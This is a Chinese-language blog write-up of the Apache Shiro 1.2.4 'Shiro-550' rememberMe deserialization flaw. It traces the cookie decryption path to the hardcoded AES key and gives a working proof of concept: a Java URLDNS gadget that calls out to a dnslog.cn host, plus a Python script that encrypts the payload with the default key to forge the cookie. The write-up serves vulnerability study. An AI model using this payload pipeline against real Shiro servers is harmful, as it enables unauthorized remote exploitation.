shiro-550反序列化漏洞

前言:

shiro反序列化原因是shiro的一个机制为了让浏览器或服务器重启后不丢失用户的登陆状态,会将用户信息保存到 rememberMe字段中 然后发送到服务端,服务端再对它进行base64解密,aes解密,再进行反序列化,由于在 1.2.4 这个版本里 shiro的key是固定的,所以可以通过构造一段恶意类经过aes加密再base64加密然后放到 rememberMe 伪造cookie信息,来让服务端加载,进而触发反序列化漏洞

环境搭建:

部署一个shiro-1.2.4项目启动即可

漏洞分析

首先勾选Remember Me进行抓包,可以看到cookie 里有一段 rememberMe(是经过aes加密和base64加密过的一段字符串

代码具体实现

先定位到CookieRememberMeManager 因为从注释里大概可以知道这是用来处理cookie的一个类

src/main/java/org/apache/shiro/web/mgt/CookieRememberMeManager.java

从函数列表里可以看到有两个函数,看名字可以知道一个可以用来序列化,一个可以用来反序列化

先从反序列化分析,进入到getRememberedSerializedIdentity,可以看到接收一个字符串对象,然后对它进行强转

继续向下看获取request和response里的cookie,然后进行base64解码,因为刚刚抓的包里面RememberMe字段里的值又不太像base64,自然还有一层aes加密,继续跟进查看哪里调用了这个函数

Find一下可以看到getRememberedPrincipals 调用了getRememberedSerializedIdentity

跟进去可以看到有一个convertBytesToPrincipals对getRememberedSerializedIdentity返回的值进行一个操作

接着跟进去,可以看到这个函数做了两步操作,一个解密,一个反序列化

跟进反序列化函数

接着跟进

可以看到调用了原生的反序列化接口

接下来只需要找到aes密钥那我们就可以自己构造参数了,回到刚刚的convertBytesToPrincipals函数跟进到decrypt

可以看到先将getCipherService实例化为cipherService再去调decrypt进行解密

跟进decrypt

从注释里可以看到,他是通过密钥来进行解密的

回到decrypt可以看到密钥是通过函数获取的

跟进去看到调用了一个常量decryptionCipherKey

继续跟进

接下来找一下写它的地方

跟进去可以看到是用来设置密钥的函数,接着找哪里调用了它

可以看到是用来设置加密解密的函数,继续找

可以看到AbstractRememberMeManager函数里的setCipherKey是一个常量,跟进去

可以看到密钥是一段固定的值

那么现在有了密钥我们就可以自己构造数据包,就是序列化aes加密base64加密,然后把它放到正常的执行流程里就可以利用了,这里是有一个坑的,maven在运行的时候只会把compile和runtime的包打进去,通过插件可以看到shiro原生能利用的只有cb

漏洞验证

URLDNS验证

先利用jdk自己的链验证一下漏洞

package example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashmap = new HashMap<>();
        URL url = new URL("http://amr6r7.dnslog.cn");

        Class c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234);
        hashmap.put(url,1);

        hashCodeField.set(url,-1);
        serialize(hashmap);
    }

    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);

    }
}

生成的ser.bin放到py目录下

再利用脚本将序列化的对象aes和base64加密一下

import uuid
import base64
import sys
from random import Random
from Crypto.Cipher import AES

def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data

def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext

def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s : s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext

if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))

替换到rememberMe字段里

这里默认有一个JSESSIONID,也就是说如果有JSESSIONID默认就不会去读rememberMe,正常发送payload需要删掉这个JSESSIONID

发送payload,ide下断点

可以看到先是进行了base64解码

之后进行aes解密

然后就走到了readObject

之后进入hashmap

调用了readObject请求dnslog

再来看下dns这边,收到记录

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值